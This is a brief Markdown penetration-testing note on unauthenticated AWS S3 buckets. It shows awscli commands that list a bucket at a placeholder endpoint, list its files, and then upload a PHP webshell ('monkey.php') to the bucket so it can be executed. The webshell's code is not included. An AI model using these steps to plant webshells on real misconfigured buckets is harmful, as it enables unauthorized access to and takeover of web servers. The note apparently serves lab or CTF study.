26 lines
617 B
Markdown
26 lines
617 B
Markdown
# AWS S3 Buckets
|
|
|
|
* `awscli` is the official tool
|
|
|
|
## Configuration
|
|
|
|
* An S3 bucket may not be configured to authenticte. Therefore the tool is configured with random credentials via `aws configure`
|
|
|
|
* List the endpoint via
|
|
```sh
|
|
aws --endpoint=http://s3.example.com s3 ls
|
|
2022-12-08 21:06:33 example.com
|
|
```
|
|
|
|
* List the top level domain afterwards
|
|
```sh
|
|
aws --endpoint=http://s3.example.com s3 ls s3://example.com
|
|
2022-12-08 21:06:33 0 .htaccess
|
|
2022-12-08 21:06:33 1218 index.html
|
|
```
|
|
|
|
* Upload a (webshell) and execute
|
|
```sh
|
|
aws --endpoint=http://s3.example.com s3 cp monkey.php s3://example.com
|
|
```
|